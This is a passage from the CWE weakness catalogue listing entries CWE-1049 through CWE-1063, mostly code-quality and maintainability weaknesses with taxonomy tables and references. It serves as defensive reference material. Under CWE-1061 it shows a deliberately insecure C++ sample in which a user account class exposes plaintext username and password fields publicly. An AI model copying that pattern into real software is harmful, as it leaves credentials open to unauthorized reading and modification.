Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-4		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-1049: Excessive Data Query Operations in a Large Data Table

Weakness ID : 1049
Structure : Simple
Abstraction : Base

Description

The product performs a data query with a large number of joins and sub-queries on a large data table.

Extended Description

This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "large number of joins or sub-queries" may vary for each product or developer, CISQ recommends a default of 1 million rows for a "large" data table, a default minimum of 5 joins, and a default minimum of 3 sub-queries.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1176	Inefficient CPU Computation	1971

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2443
MemberOf	C	1309	CISQ Quality Measures - Efficiency	1305	2486
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-4		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < https://www.omg.org/spec/ASCPEM/ >.2023-04-07.

CWE-1050: Excessive Platform Resource Consumption within a Loop

Weakness ID : 1050
Structure : Simple
Abstraction : Base

Description

The product has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors.

Extended Description

This issue can make the product perform more slowly. If an attacker can influence the number of iterations in the loop, then this performance problem might allow a denial of service by consuming more platform resources than intended.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	405	Asymmetric Resource Consumption (Amplification)	986

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	🄲	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	🄲	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2443
MemberOf	🄲	1309	CISQ Quality Measures - Efficiency	1305	2486
MemberOf	🄲	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-8		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < https://www.omg.org/spec/ASCPEM/ >.2023-04-07.

CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data

Weakness ID : 1051
Structure : Simple
Abstraction : Base

Description

The product initializes data using hard-coded values that act as network resource identifiers.

Extended Description

This issue can prevent the product from running reliably, e.g. if it runs in an environment does not use the hard-coded network resource identifiers. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1419	Incorrect Initialization of Resource	2280

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	2327

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	V	1340	CISQ Data Protection Measures	1340	2590
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-18		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1052: Excessive Use of Hard-Coded Literals in Initialization

Weakness ID : 1052
Structure : Simple
Abstraction : Base

Description

The product initializes a data element using a hard-coded literal that is not a simple integer or static constant element.

Extended Description

This issue makes it more difficult to modify or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1419	Incorrect Initialization of Resource	2280

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	2327

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-3		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-1053: Missing Documentation for Design

Weakness ID : 1053
Structure : Simple
Abstraction : Base

Description

The product does not have documentation that represents how it is designed.

Extended Description

This issue can make it more difficult to understand and maintain the product. It can make it more difficult and time-consuming to detect and/or fix vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1059	Insufficient Technical Documentation	1894

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1225	Documentation Issues	2480

Weakness Ordinalities

Indirect :

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1208	Cross-Cutting Problems	1194	2474
MemberOf	C	1375	ICS Engineering (Construction/Deployment): Gaps in Details/Data	1358	2511
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/ publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUR >.2023-04-07.

CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer

Weakness ID : 1054
Structure : Simple
Abstraction : Base

Description

The code at one architectural layer invokes code that resides at a deeper layer than the adjacent layer, i.e., the invocation skips at least one layer, and the invoked code is not part of a vertical utility layer that can be referenced from any horizontal layer.

Extended Description

This issue makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1061	Insufficient Encapsulation	1898

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1227	Encapsulation Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-12		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-1055: Multiple Inheritance from Concrete Classes

Weakness ID : 1055
Structure : Simple
Abstraction : Base

Description

The product contains a class with inheritance from more than one concrete class.

Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1093	Excessively Complex Data Representation	1933

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-2		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-1056: Invokable Control Element with Variadic Parameters

Weakness ID : 1056
Structure : Simple
Abstraction : Base

Description

A named-callable or method control element has a signature that supports a variable (variadic) number of parameters or arguments.

Extended Description

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

With variadic arguments, it can be difficult or inefficient for manual analysis to be certain of which function/method is being invoked.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1120	Excessive Code Complexity	1960

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-8		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1057: Data Access Operations Outside of Expected Data Manager Component

Weakness ID : 1057
Structure : Simple
Abstraction : Base

Description

The product uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager.

Extended Description

This issue can make the product perform more slowly than intended, since the intended central data manager may have been explicitly optimized for performance or other quality characteristics.

If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1061	Insufficient Encapsulation	1898

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1227	Encapsulation Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2443
MemberOf	C	1309	CISQ Quality Measures - Efficiency	1305	2486
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-11		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < https://www.omg.org/spec/ASCPEM/ >.2023-04-07.

CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element

Weakness ID : 1058
Structure : Simple
Abstraction : Base

Description

The code contains a function or method that operates in a multi-threaded environment but owns an unsafe non-final static storable or member data element.

Extended Description

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	662	Improper Synchronization	1448

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	662	Improper Synchronization	1448

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	662	Improper Synchronization	1448

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	2329

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-11		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1059: Insufficient Technical Documentation

Weakness ID : 1059
Structure : Simple

Abstraction : Class

Description

The product does not contain sufficient technical or engineering documentation (whether on paper or in electronic form) that contains descriptions of all the relevant software/hardware elements of the product, such as its usage, structure, architectural components, interfaces, design, implementation, configuration, operation, etc.

Extended Description

When technical documentation is limited or lacking, products are more difficult to maintain. This indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.

When using time-limited or labor-limited third-party/in-house security consulting services (such as threat modeling, vulnerability discovery, or pentesting), insufficient documentation can force those consultants to invest unnecessary time in learning how the product is organized, instead of focusing their expertise on finding the flaws or suggesting effective mitigations.

With respect to hardware design, the lack of a formal, final manufacturer reference can make it difficult or impossible to evaluate the final product, including post-manufacture verification. One cannot ensure that design functionality or operation is within acceptable tolerances, conforms to specifications, and is free from unexpected behavior. Hardware-related documentation may include engineering artifacts such as hardware description language (HDLs), netlists, Gerber files, Bills of Materials, EDA (Electronic Design Automation) tool files, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549
ParentOf	B	1053	Missing Documentation for Design	1888
ParentOf	B	1110	Incomplete Design Documentation	1950
ParentOf	B	1111	Incomplete I/O Documentation	1951
ParentOf	B	1112	Incomplete Documentation of Program Execution	1952
ParentOf	B	1118	Insufficient Documentation of Error Handling Techniques	1958

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Operating_System : Not OS-Specific *(Prevalence = Undetermined)*

Architecture : Not Architecture-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Scope	Impact	Likelihood
	Hide Activities Reduce Reliability Quality Degradation Reduce Maintainability *Without a method of verification, one cannot be sure that everything only functions as expected.*	

Potential Mitigations

Phase: Documentation

Phase: Architecture and Design

Ensure that design documentation is detailed enough to allow for post-manufacturing verification.

Observed Examples

Reference	Description
CVE-2022-3203	A wireless access point manual specifies that the only method of configuration is via web interface (CWE-1059), but there is an undisclosed telnet server that was activated by default (CWE-912). *https://www.cve.org/CVERecord?id=CVE-2022-3203*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1195	Manufacturing and Life Cycle Management Concerns	1194	2469
MemberOf	C	1208	Cross-Cutting Problems	1194	2474
MemberOf	C	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2505
MemberOf	C	1371	ICS Supply Chain: Poorly Documented or Undocumented Features	1358	2508
MemberOf	C	1375	ICS Engineering (Construction/Deployment): Gaps in Details/Data	1358	2511
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
ISA/IEC 62443	Part 2-4		Req SP.02.03 BR
ISA/IEC 62443	Part 2-4		Req SP.02.03 RE(1)
ISA/IEC 62443	Part 2-4		Req SP.03.03 RE(1)
ISA/IEC 62443	Part 4-1		Req SG-1
ISA/IEC 62443	Part 4-1		Req SG-2
ISA/IEC 62443	Part 4-1		Req SG-3
ISA/IEC 62443	Part 4-1		Req SG-4
ISA/IEC 62443	Part 4-1		Req SG-5
ISA/IEC 62443	Part 4-1		Req SG-6
ISA/IEC 62443	Part 4-1		Req SG-7

References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf >.

[REF-1254]FDA. "Cybersecurity in Medical Devices: Quality System Considerations and Content of Premarket Submissions Draft Guidance for Industry and Food and Drug Administration Staff (DRAFT GUIDANCE)". 2022 April 8. < https://www.fda.gov/media/119933/download >.

CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses

Weakness ID : 1060
Structure : Simple
Abstraction : Base

Description

The product performs too many data queries without using efficient data processing functionality such as stored procedures.

Extended Description

This issue can make the product perform more slowly due to computational expense. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "too many data queries" may vary for each product or developer, CISQ recommends a default maximum of 5 data queries for an inefficient function/procedure.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	1120	Excessive Code Complexity	1960

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2443
MemberOf	C	1309	CISQ Quality Measures - Efficiency	1305	2486
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-9		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < https://www.omg.org/spec/ASCPEM/ >.2023-04-07.

CWE-1061: Insufficient Encapsulation

Weakness ID : 1061
Structure : Simple
Abstraction : Class

Description

The product does not sufficiently hide the internal representation and implementation details of data or methods, which might allow external components or modules to modify data unexpectedly, invoke unexpected functionality, or introduce dependencies that the programmer did not intend.

Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549
ParentOf	B	766	Critical Data Element Declared Public	1607
ParentOf	B	1054	Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer	1889
ParentOf	B	1057	Data Access Operations Outside of Expected Data Manager Component	1892
ParentOf	B	1062	Parent Class with References to Child Class	1900
ParentOf	B	1083	Data Access from Outside Expected Data Manager Component	1922
ParentOf	B	1090	Method Containing Access of a Member Element from Another Class	1930
ParentOf	B	1100	Insufficient Isolation of System-Dependent Functions	1940
ParentOf	B	1105	Insufficient Encapsulation of Machine-Dependent Functionality	1945

Weakness Ordinalities

Indirect :

Demonstrative Examples

Example 1:

The following example shows a basic user account class that includes member variables for the username and password as well as a public constructor for the class and a public method to authorize access to the user account.

Example Language: C++ *(Bad)*

```
#define MAX_PASSWORD_LENGTH 15
#define MAX_USERNAME_LENGTH 15
class UserAccount
{
  public:
    UserAccount(char *username, char *password)
    {
      if ((strlen(username) > MAX_USERNAME_LENGTH) ||
      (strlen(password) > MAX_PASSWORD_LENGTH)) {
        ExitError("Invalid username or password");
      }
      strcpy(this->username, username);
      strcpy(this->password, password);
    }
  int authorizeAccess(char *username, char *password)
  {
    if ((strlen(username) > MAX_USERNAME_LENGTH) ||
    (strlen(password) > MAX_PASSWORD_LENGTH)) {
      ExitError("Invalid username or password");
    }
    // if the username and password in the input parameters are equal to
    // the username and password of this account class then authorize access
    if (strcmp(this->username, username) ||
    strcmp(this->password, password))
      return 0;
    // otherwise do not authorize access
    else
      return 1;
  }
  char username[MAX_USERNAME_LENGTH+1];
  char password[MAX_PASSWORD_LENGTH+1];
};
```

However, the member variables username and password are declared public and therefore will allow access and changes to the member variables to anyone with access to the object. These member variables should be declared private as shown below to prevent unauthorized access and changes.

Example Language: C++ *(Good)*

```
class UserAccount
{
public:
  ...
private:
  char username[MAX_USERNAME_LENGTH+1];
  char password[MAX_PASSWORD_LENGTH+1];
};
```

Observed Examples

Reference	Description
CVE-2010-3860	variables declared public allow remote read of system properties such as user name and home directory. *https://www.cve.org/CVERecord?id=CVE-2010-3860*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

References

[REF-969]Wikipedia. "Encapsulation (computer programming)". < https://en.wikipedia.org/wiki/Encapsulation_(computer_programming) >.

CWE-1062: Parent Class with References to Child Class

Weakness ID : 1062
Structure : Simple
Abstraction : Base

Description

The code has a parent class that contains references to a child class, its methods, or its members.

Extended Description

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1061	Insufficient Encapsulation	1898

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1227	Encapsulation Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-14		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1063: Creation of Class Instance within a Static Code Block

Weakness ID : 1063
Structure : Simple
Abstraction : Base

Description

A static code block creates an instance of a class.

Extended Description

This pattern identifies situations where a storable data element or member data element is initialized with a value in a block of code which is declared as static.

This issue can make the product perform more slowly by performing initialization before it is needed. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	1176	Inefficient CPU Computation	1971

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2443

Nature	Type	ID	Name	V	Page
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
